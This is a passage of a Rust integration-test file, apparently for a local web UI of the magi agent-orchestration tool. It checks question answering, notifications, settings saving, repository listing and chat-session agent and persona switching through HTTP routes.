8270 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8271 let path = format!("/api/questions/{id}/answer");
8272
8273 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8274 assert_eq!(res.status, 200, "{}", res.body);
8275 let body = res.json();
8276 assert_eq!(body["status"], "answered");
8277 assert_eq!(body["answer"]["choice"], "Redis");
8278
8279 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8283 assert_eq!(again.status, 409, "{}", again.body);
8284 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8285 }
8286
8287 #[tokio::test]
8288 async fn saying_something_appends_a_turn_without_answering() {
8289 let fx = Fixture::start().await;
8290 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8291 let path = format!("/api/questions/{id}/say");
8292
8293 let res = fx
8294 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8295 .await;
8296 assert_eq!(res.status, 200, "{}", res.body);
8297 let body = res.json();
8298 assert_eq!(body["status"], "open", "talking back is not a decision");
8299 assert_eq!(body["answer"], Value::Null);
8300 assert_eq!(body["thread"][0]["who"], "operator");
8301 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8302 assert_eq!(body["waiting_on_agent"], true);
8303 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8305 }
8306
8307 #[tokio::test]
8308 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8309 let fx = Fixture::start().await;
8310 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8311
8312 let list = fx.get("/api/questions").await.json();
8313 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8314
8315 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8316 assert_eq!(res.status, 409, "{}", res.body);
8317 let q = fx.questions().get(&id).unwrap();
8318 assert!(q.status.open());
8319 assert!(q.consult.is_none());
8320 }
8321
8322 #[tokio::test]
8323 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8324 let fx = Fixture::start().await;
8325 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8326 let cfg = Config {
8327 agents: vec![crate::config::AgentSpec {
8328 id: "mock".to_owned(),
8329 kind: crate::config::AgentKind::Command,
8330 model: None,
8331 command: vec!["true".to_owned()],
8332 extra_args: Vec::new(),
8333 env: Default::default(),
8334 prompt_delivery: None,
8335 }],
8336 ..Config::default()
8337 };
8338 let talk = crate::talk::begin(
8339 &fx.talks(),
8340 &cfg,
8341 fx.home.path().to_path_buf(),
8342 Some("mock"),
8343 )
8344 .unwrap();
8345 let mut task = Task::new(
8346 "t".to_owned(),
8347 "Do it".to_owned(),
8348 PathBuf::from("/repo/magi"),
8349 Source::Agent {
8350 run: talk.id.clone(),
8351 node: crate::queue::CHAT_NODE.to_owned(),
8352 },
8353 );
8354 task.start("20260902-000000-beef".to_owned());
8355 fx.queue().put(&mut task).unwrap();
8356
8357 let list = fx.get("/api/questions").await.json();
8358 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8359 assert_eq!(
8360 list[0]["choices"],
8361 serde_json::json!(["SQLite", "Redis"]),
8362 "the hand-over is never a choice"
8363 );
8364 fx.questions()
8365 .update(&id, |q| {
8366 q.node = crate::land::APPROVAL_NODE.into();
8367 q.choices = vec!["merge".into(), "hold".into()];
8368 Ok(())
8369 })
8370 .unwrap();
8371 let list = fx.get("/api/questions").await.json();
8372 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8373 let _ = id;
8374 }
8375
8376 #[tokio::test]
8377 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8378 let fx = Fixture::start().await;
8379 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8380 fx.questions()
8381 .update(&id, |q| {
8382 q.node = crate::land::APPROVAL_NODE.into();
8383 q.choices = vec!["merge".into(), "hold".into()];
8384 Ok(())
8385 })
8386 .unwrap();
8387 let cfg = Config {
8388 agents: vec![crate::config::AgentSpec {
8389 id: "mock".to_owned(),
8390 kind: crate::config::AgentKind::Command,
8391 model: None,
8392 command: vec!["true".to_owned()],
8393 extra_args: Vec::new(),
8394 env: Default::default(),
8395 prompt_delivery: None,
8396 }],
8397 ..Config::default()
8398 };
8399 let repo = fx.home.path().join("chat-repo");
8401 std::fs::create_dir_all(&repo).unwrap();
8402 let toml = repo.join("magi.toml");
8403 std::fs::write(&toml, "this is = = not toml").unwrap();
8404 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8405 let mut task = Task::new(
8406 "t".to_owned(),
8407 "Do it".to_owned(),
8408 PathBuf::from("/repo/magi"),
8409 Source::Agent {
8410 run: talk.id.clone(),
8411 node: crate::queue::CHAT_NODE.to_owned(),
8412 },
8413 );
8414 task.start("20260902-000000-beef".to_owned());
8415 fx.queue().put(&mut task).unwrap();
8416
8417 let path = format!("/api/questions/{id}/consult");
8418 let res = fx.post(&path, None).await;
8419 assert!(res.status >= 400, "{}", res.body);
8420 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8421 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8422
8423 std::fs::write(&toml, "").unwrap();
8424 let res = fx.post(&path, None).await;
8425 assert_eq!(res.status, 202, "{}", res.body);
8426 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8427 let q = fx.questions().get(&id).unwrap();
8428 assert!(q.status.open());
8429 assert!(q.answer.is_none());
8430 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8431 }
8432
8433 #[tokio::test]
8434 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8435 let fx = Fixture::start().await;
8436 let store = fx.questions();
8437 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8438 assert_eq!(
8439 fx.get("/api/health").await.json()["questions_needs_owner"],
8440 1
8441 );
8442
8443 let res = fx
8449 .post(
8450 &format!("/api/questions/{id}/say"),
8451 Some(r#"{"body":"why not Postgres?"}"#),
8452 )
8453 .await;
8454 assert_eq!(res.status, 200, "{}", res.body);
8455 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8456 assert_eq!(
8457 fx.get("/api/health").await.json()["questions_needs_owner"],
8458 0,
8459 "waiting on the agent is not waiting on the owner"
8460 );
8461
8462 let mut q = store.get(&id).expect("get");
8466 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8467 .expect("reply");
8468 store.put(&mut q).expect("put");
8469 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8470 assert_eq!(
8471 fx.get("/api/health").await.json()["questions_needs_owner"],
8472 1,
8473 "the agent's reply is what should light the banner back up"
8474 );
8475 }
8476
8477 #[tokio::test]
8478 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8479 let fx = Fixture::start().await;
8480 let store = fx.questions();
8481
8482 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8483 let res = fx
8484 .post(
8485 &format!("/api/questions/{empty_id}/say"),
8486 Some(r#"{"body":" "}"#),
8487 )
8488 .await;
8489 assert_eq!(res.status, 400, "{}", res.body);
8490
8491 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8492 let mut answered = store.get(&answered_id).expect("get");
8493 answered
8494 .answer(Answer::Choice("SQLite".to_owned()))
8495 .expect("answer");
8496 store.put(&mut answered).expect("put");
8497 let res = fx
8498 .post(
8499 &format!("/api/questions/{answered_id}/say"),
8500 Some(r#"{"body":"still there?"}"#),
8501 )
8502 .await;
8503 assert_eq!(res.status, 409, "{}", res.body);
8504
8505 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8506 let mut abandoned = store.get(&abandoned_id).expect("get");
8507 abandoned.abandon("timed out");
8508 store.put(&mut abandoned).expect("put");
8509 let res = fx
8510 .post(
8511 &format!("/api/questions/{abandoned_id}/say"),
8512 Some(r#"{"body":"still there?"}"#),
8513 )
8514 .await;
8515 assert_eq!(res.status, 409, "{}", res.body);
8516 }
8517
8518 #[tokio::test]
8519 async fn an_answer_the_question_does_not_offer_is_refused() {
8520 let fx = Fixture::start().await;
8521 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8522 let path = format!("/api/questions/{id}/answer");
8523
8524 for body in [
8525 r#"{"choice":"Postgres"}"#,
8526 r#"{"text":"whatever you think"}"#,
8527 r#"{"choice":"Redis","text":"both"}"#,
8528 r#"{}"#,
8529 ] {
8530 let res = fx.post(&path, Some(body)).await;
8531 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8532 assert!(res.json()["error"].is_string(), "{}", res.body);
8533 }
8534 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8536 }
8537
8538 #[tokio::test]
8539 async fn a_free_text_question_takes_text_and_not_a_choice() {
8540 let fx = Fixture::start().await;
8541 let id = ask(&fx, "What should the flag be called?", &[]);
8542 let path = format!("/api/questions/{id}/answer");
8543
8544 assert_eq!(
8545 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8546 400
8547 );
8548 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8549 assert_eq!(res.status, 200, "{}", res.body);
8550 assert_eq!(res.json()["answer"]["text"], "--json");
8551 }
8552
8553 #[tokio::test]
8554 async fn an_unknown_question_is_a_json_404() {
8555 let fx = Fixture::start().await;
8556 let res = fx
8557 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8558 .await;
8559 assert_eq!(res.status, 404, "{}", res.body);
8560 assert!(res.json()["error"].is_string());
8561 }
8562
8563 #[tokio::test]
8564 async fn notifications_list_read_dismiss_and_health_agree() {
8565 let fx = Fixture::start().await;
8566 let store = Notices::at(fx.home.path().join("notifications"));
8567 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8568 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8569
8570 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8571 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8572
8573 let health = fx.get("/api/health").await.json();
8574 assert_eq!(health["notifications_unread"], 2);
8575 assert_ne!(
8576 health["notifications_rev"], rev0,
8577 "the badge must move live"
8578 );
8579
8580 let listed = fx.get("/api/notifications").await.json();
8581 assert_eq!(listed["unread"], 2);
8582 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8583 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8584
8585 let read = fx
8586 .post(&format!("/api/notifications/{}/read", a.id), None)
8587 .await;
8588 assert_eq!(read.status, 200, "{}", read.body);
8589 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8590
8591 let gone = fx
8592 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8593 .await;
8594 assert_eq!(gone.status, 200, "{}", gone.body);
8595 let listed = fx.get("/api/notifications").await.json();
8596 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8597 assert_eq!(listed["unread"], 0);
8598
8599 store.raise(Notice::info("x", "again")).unwrap();
8600 let all = fx.post("/api/notifications/read-all", None).await;
8601 assert_eq!(all.status, 200, "{}", all.body);
8602 assert_eq!(all.json()["marked"], 1);
8603 assert_eq!(
8604 fx.get("/api/health").await.json()["notifications_unread"],
8605 0
8606 );
8607
8608 let missing = fx.post("/api/notifications/nope/read", None).await;
8609 assert_eq!(missing.status, 404, "{}", missing.body);
8610 assert!(missing.json()["error"].is_string());
8611 }
8612
8613 #[tokio::test]
8620 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8621 let f = Fixture::start().await;
8622
8623 let res = f
8624 .post(
8625 "/api/queue",
8626 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8627 )
8628 .await;
8629
8630 assert_eq!(
8631 res.status, 405,
8632 "POST /api/queue must not be a route: {}",
8633 res.body
8634 );
8635 assert!(
8636 f.queue().list().is_empty(),
8637 "a task filed by a route that does not exist must not reach the disk"
8638 );
8639 assert_eq!(f.get("/api/queue").await.status, 200);
8642 }
8643
8644 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8646 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8647 .expect("checkout dir");
8648 }
8649
8650 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8652
8653 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8654 let tmp = TempDir::new().expect("tempdir");
8655 let repo = tmp.path().join("repo");
8656 std::fs::create_dir_all(&repo).expect("repo dir");
8657 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8658 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8659 if let Some(text) = machine_toml {
8660 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8661 std::fs::write(&machine, text).expect("machine toml");
8662 }
8663 (tmp, repo, machine)
8664 }
8665
8666 #[tokio::test]
8667 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8668 let (_tmp, repo, machine) =
8669 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8670 let f = Fixture::with_repo_and_machine(repo, machine).await;
8671 let res = f.get("/api/settings").await;
8672 assert_eq!(res.status, 200, "{}", res.body);
8673 let v = res.json();
8674 assert!(v["error"].is_null(), "{v}");
8675 let role = |k: &str| {
8676 v["roles"]
8677 .as_array()
8678 .and_then(|r| r.iter().find(|x| x["key"] == k))
8679 .cloned()
8680 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8681 };
8682 assert_eq!(role("judges")["source"], "machine");
8683 assert_eq!(role("judges")["editable"], true);
8684 assert_eq!(role("implementers")["source"], "default");
8685 let adv = role("advisors");
8686 assert_eq!(adv["fallback"], "judges");
8687 assert!(
8688 adv["seats"]
8689 .as_array()
8690 .is_some_and(|s| s.iter().all(|x| x == "b")),
8691 "{adv}"
8692 );
8693 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8694 assert_eq!(v["agents"][0]["source"], "repo");
8695 }
8696
8697 #[tokio::test]
8698 async fn settings_get_reports_a_config_that_does_not_parse() {
8699 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8700 let f = Fixture::with_repo_and_machine(repo, machine).await;
8701 let res = f.get("/api/settings").await;
8702 assert_eq!(res.status, 200, "{}", res.body);
8703 let v = res.json();
8704 assert!(v["error"]["message"].is_string(), "{v}");
8705 assert!(
8706 v["error"]["path"]
8707 .as_str()
8708 .is_some_and(|p| p.ends_with("magi.toml")),
8709 "{v}"
8710 );
8711 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8712 }
8713
8714 #[tokio::test]
8715 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8716 let (_tmp, repo, machine) = settings_dirs(
8717 SETTINGS_AGENTS,
8718 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8719 );
8720 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8721 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8722 let rev = f.get("/api/settings").await.json()["revision"]
8723 .as_str()
8724 .expect("revision")
8725 .to_owned();
8726 let body = serde_json::json!({
8727 "revision": rev,
8728 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8729 })
8730 .to_string();
8731 let res = f.put("/api/settings/roles", &body).await;
8732 assert_eq!(res.status, 200, "{}", res.body);
8733 let text = std::fs::read_to_string(&machine).expect("machine");
8734 assert_eq!(
8735 text,
8736 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8737 );
8738 assert_eq!(
8739 std::fs::read(repo.join("magi.toml")).expect("read"),
8740 repo_before
8741 );
8742 let again = f.get("/api/settings").await.json();
8743 let judges = again["roles"]
8744 .as_array()
8745 .expect("roles")
8746 .iter()
8747 .find(|r| r["key"] == "judges")
8748 .expect("judges")
8749 .clone();
8750 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8751 let stale = f.put("/api/settings/roles", &body).await;
8753 assert_eq!(stale.status, 409, "{}", stale.body);
8754 }
8755
8756 #[tokio::test]
8757 async fn settings_counts_are_reported_and_saved() {
8758 let (_tmp, repo, machine) = settings_dirs(
8759 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8760 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8761 );
8762 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8763 let v = f.get("/api/settings").await.json();
8764 let count = |v: &serde_json::Value, k: &str| {
8765 v["roles"]
8766 .as_array()
8767 .and_then(|r| r.iter().find(|x| x["key"] == k))
8768 .map(|x| x["count"].clone())
8769 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8770 };
8771 let imp = count(&v, "implementers");
8772 assert_eq!(imp["value"], 2);
8773 assert_eq!(imp["source"], "machine");
8774 assert_eq!(imp["file_key"], "candidates");
8775 assert_eq!(imp["roster_len"], 2);
8776 assert_eq!(imp["backups"], 0);
8777 assert_eq!(count(&v, "judges")["source"], "default");
8778 assert_eq!(count(&v, "advisors")["min"], 0);
8779 assert_eq!(count(&v, "reviewers")["editable"], false);
8780 assert!(
8781 count(&v, "reviewers")["locked_reason"]
8782 .as_str()
8783 .is_some_and(|m| m.contains("graph.reviewers"))
8784 );
8785 assert!(count(&v, "fixer").is_null());
8786 let rev = v["revision"].as_str().expect("revision").to_owned();
8787 let body = serde_json::json!({
8788 "revision": rev,
8789 "roles": { "judges": ["b"] },
8790 "counts": { "implementers": 1, "advisors": 0 }
8791 })
8792 .to_string();
8793 let res = f.put("/api/settings/roles", &body).await;
8794 assert_eq!(res.status, 200, "{}", res.body);
8795 let text = std::fs::read_to_string(&machine).expect("machine");
8796 assert_eq!(
8797 text,
8798 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8799 );
8800 let after = f.get("/api/settings").await.json();
8801 assert_eq!(count(&after, "implementers")["value"], 1);
8802 assert_eq!(count(&after, "implementers")["backups"], 1);
8803 assert_eq!(count(&after, "advisors")["value"], 0);
8804 let before = std::fs::read_to_string(&machine).expect("machine");
8805 let rev = after["revision"].as_str().expect("revision").to_owned();
8806 for counts in [
8807 serde_json::json!({ "judges": 0 }),
8808 serde_json::json!({ "judges": "x" }),
8809 serde_json::json!({ "judges": 2.5 }),
8810 serde_json::json!({ "judges": -1 }),
8811 serde_json::json!({ "reviewers": 3 }),
8812 serde_json::json!({ "bogus": 3 }),
8813 ] {
8814 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8815 let res = f.put("/api/settings/roles", &body).await;
8816 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8817 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8818 }
8819 }
8820
8821 #[tokio::test]
8822 async fn settings_put_refuses_without_touching_the_file() {
8823 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8824 let (_tmp, repo, machine) = settings_dirs(
8825 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8826 Some(machine_text),
8827 );
8828 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8829 let rev = f.get("/api/settings").await.json()["revision"]
8830 .as_str()
8831 .expect("revision")
8832 .to_owned();
8833 for roles in [
8834 serde_json::json!({ "judges": ["nope"] }),
8835 serde_json::json!({ "reviewers": ["b"] }),
8836 serde_json::json!({ "bogus": ["a"] }),
8837 ] {
8838 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8839 let res = f.put("/api/settings/roles", &body).await;
8840 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8841 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8842 assert_eq!(
8843 std::fs::read_to_string(&machine).expect("machine"),
8844 machine_text
8845 );
8846 }
8847 }
8848
8849 #[tokio::test]
8850 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8851 let tmp = TempDir::new().expect("tempdir");
8852 let repo = tmp.path().join("repo");
8853 std::fs::create_dir_all(&repo).expect("repo dir");
8854 let root = tmp.path().join("root");
8855 make_checkout(&root, "github.com", "yukimemi", "magi");
8856 std::fs::write(
8857 repo.join("magi.toml"),
8858 format!(
8859 "[repos]\nroots = [{:?}]\n",
8860 root.to_string_lossy().into_owned()
8861 ),
8862 )
8863 .expect("write magi.toml");
8864
8865 let f = Fixture::with_repo(repo).await;
8866 let res = f.get("/api/repos").await;
8867 assert_eq!(res.status, 200, "{}", res.body);
8868 let list = res.json();
8869 let repos = list.as_array().expect("an array");
8870 assert_eq!(repos.len(), 1);
8871 assert_eq!(repos[0]["name"], "yukimemi/magi");
8872 assert!(
8873 repos[0]["path"]
8874 .as_str()
8875 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8876 "{list}"
8877 );
8878 }
8879
8880 #[tokio::test]
8881 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8882 let tmp = TempDir::new().expect("tempdir");
8883 let repo = tmp.path().join("repo");
8884 std::fs::create_dir_all(&repo).expect("repo dir");
8885 let root = tmp.path().join("root");
8886 make_checkout(&root, "github.com", "yukimemi", "magi");
8887 std::fs::write(
8888 repo.join("magi.toml"),
8889 format!(
8890 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8891 root.to_string_lossy().into_owned()
8892 ),
8893 )
8894 .expect("write magi.toml");
8895
8896 let f = Fixture::with_repo(repo).await;
8897 let first = f.get("/api/repos").await;
8898 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8899
8900 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8903 let second = f.get("/api/repos").await;
8904 assert_eq!(
8905 second.json().as_array().map(Vec::len),
8906 Some(1),
8907 "a fresh cache must not rescan inside the TTL"
8908 );
8909
8910 let refreshed = f.get("/api/repos?refresh=1").await;
8911 assert_eq!(
8912 refreshed.json().as_array().map(Vec::len),
8913 Some(2),
8914 "an explicit refresh must rescan even inside the TTL"
8915 );
8916 }
8917
8918 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8924
8925 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8929 let tmp = TempDir::new().expect("tempdir");
8930 let repo = tmp.path().join("repo");
8931 std::fs::create_dir_all(&repo).expect("repo dir");
8932 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8933 let f = Fixture::with_repo(repo.clone()).await;
8934 (tmp, repo, f)
8935 }
8936
8937 #[tokio::test]
8938 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8939 let (_tmp, _repo, f) = talk_fixture().await;
8940
8941 let opened = f.post("/api/talks", None).await;
8944 assert_eq!(opened.status, 201, "{}", opened.body);
8945 let body = opened.json();
8946 assert_eq!(body["status"], "open");
8947 assert_eq!(
8948 body["turns"].as_array().unwrap().len(),
8949 0,
8950 "opening takes no agent turn: there is nothing yet to answer"
8951 );
8952
8953 let also_opened = f.post("/api/talks", Some("{}")).await;
8955 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8956
8957 let listed = f.get("/api/talks").await.json();
8958 assert_eq!(listed.as_array().unwrap().len(), 2);
8959 }
8960
8961 #[tokio::test]
8962 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8963 let tmp = TempDir::new().expect("tempdir");
8964 let repo = tmp.path().join("repo");
8965 std::fs::create_dir_all(&repo).expect("repo dir");
8966 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8967 std::fs::write(
8968 repo.join("magi.toml"),
8969 format!("{MOCK_AGENT_TOML}\n{second}"),
8970 )
8971 .expect("write magi.toml");
8972 let home = TempDir::new().expect("temp home");
8973 let talks = Talks::at(home.path().join("talks"));
8974 let ui = Arc::new(
8975 Ui::new(
8976 Queue::at(home.path().join("queue")),
8977 Questions::at(home.path().join("questions")),
8978 talks.clone(),
8979 home.path().join("runs"),
8980 home.path().to_path_buf(),
8981 repo.clone(),
8982 )
8983 .with_worktrees_root(home.path().join("wt")),
8984 );
8985 let cfg = config_for(&repo).await.expect("discover config");
8986 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8987 let id = talk.id.clone();
8988 let call = |agent: &str| {
8989 talk_agent(
8990 State(Arc::clone(&ui)),
8991 Path(id.clone()),
8992 Json(TalkAgent {
8993 agent: agent.to_owned(),
8994 }),
8995 )
8996 };
8997
8998 let unknown = call("nobody").await.expect_err("unknown agent");
8999 assert_eq!(
9000 unknown.status,
9001 StatusCode::BAD_REQUEST,
9002 "{}",
9003 unknown.message
9004 );
9005
9006 {
9007 let mut claimed = None;
9010 for _ in 0..200 {
9011 claimed = ui.begin_talk_turn(&id).expect("claim");
9012 if claimed.is_some() {
9013 break;
9014 }
9015 tokio::time::sleep(Duration::from_millis(10)).await;
9016 }
9017 let _busy = claimed.expect("free");
9018 let busy = call("second").await.expect_err("busy talk");
9019 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9020 }
9021 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9022
9023 let Json(view) = call("second").await.expect("switch");
9024 assert_eq!(view.talk.agent, "second");
9025 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9026 let saved = talks.get(&id).expect("reload");
9027 assert_eq!(saved.agent, "second");
9028 assert_eq!(saved.turns.len(), 1);
9029
9030 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9031 .await
9032 .expect("detail");
9033 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9034 assert_eq!(roster, ["mock", "second"]);
9035
9036 let mut closed = talks.get(&id).expect("reload");
9037 talk::close(&mut closed, &talks).expect("close");
9038 let refused = call("mock").await.expect_err("closed talk");
9039 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9040 }
9041
9042 #[tokio::test]
9043 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9044 let tmp = TempDir::new().expect("tempdir");
9045 let repo = tmp.path().join("repo");
9046 std::fs::create_dir_all(&repo).expect("repo dir");
9047 std::fs::write(
9048 repo.join("magi.toml"),
9049 format!(
9050 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9051 ),
9052 )
9053 .expect("write magi.toml");
9054 let home = TempDir::new().expect("temp home");
9055 let talks = Talks::at(home.path().join("talks"));
9056 let ui = Arc::new(
9057 Ui::new(
9058 Queue::at(home.path().join("queue")),
9059 Questions::at(home.path().join("questions")),
9060 talks.clone(),
9061 home.path().join("runs"),
9062 home.path().to_path_buf(),
9063 repo.clone(),
9064 )
9065 .with_worktrees_root(home.path().join("wt")),
9066 );
9067 let cfg = config_for(&repo).await.expect("discover config");
9068 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9069 let id = talk.id.clone();
9070 let call = |persona: &str| {
9071 talk_persona(
9072 State(Arc::clone(&ui)),
9073 Path(id.clone()),
9074 Json(TalkPersona {
9075 persona: persona.to_owned(),
9076 }),
9077 )
9078 };
9079
9080 let unknown = call("nobody").await.expect_err("unknown persona");
9081 assert_eq!(
9082 unknown.status,
9083 StatusCode::BAD_REQUEST,
9084 "{}",
9085 unknown.message
9086 );
9087
9088 {
9089 let mut claimed = None;
9090 for _ in 0..200 {
9091 claimed = ui.begin_talk_turn(&id).expect("claim");
9092 if claimed.is_some() {
9093 break;
9094 }
9095 tokio::time::sleep(Duration::from_millis(10)).await;
9096 }
9097 let _busy = claimed.expect("free");
9098 let busy = call("rei").await.expect_err("busy talk");
9099 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9100 }
9101 assert_eq!(talks.get(&id).expect("reload").persona, "");
9102
9103 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9104 assert_eq!(view.talk.persona, "gendo");
9105 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9106
9107 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9108 .await
9109 .expect("detail");
9110 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9111 assert_eq!(ids.first(), Some(&"default"));
9112 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9113
9114 let Json(view) = call("default").await.expect("back to default");
9115 assert_eq!(view.talk.persona, "");
9116
9117 let mut closed = talks.get(&id).expect("reload");
9118 talk::close(&mut closed, &talks).expect("close");
9119 let refused = call("rei").await.expect_err("closed talk");
9120 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9121 }
9122
9123 #[tokio::test]
9124 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9125 let f = Fixture::start().await;
9126 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9127 let queue = f.queue();
9128 let mut mine = Task::new(
9129 "rename the loader".to_owned(),
9130 "rename the loader".to_owned(),
9131 PathBuf::from("/repo/magi"),
9132 Source::Agent {
9133 run: talk_id.clone(),
9134 node: "chat".to_owned(),
9135 },
9136 );
9137 queue.put(&mut mine).expect("file the task");
9138 let mut theirs = Task::new(
9139 "unrelated".to_owned(),
9140 "unrelated".to_owned(),
9141 PathBuf::from("/repo/magi"),
9142 Source::Human,
9143 );
9144 queue.put(&mut theirs).expect("file the task");
9145
9146 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9147 assert_eq!(res.status, 200, "{}", res.body);
9148 let body = res.json();
9149 assert_eq!(
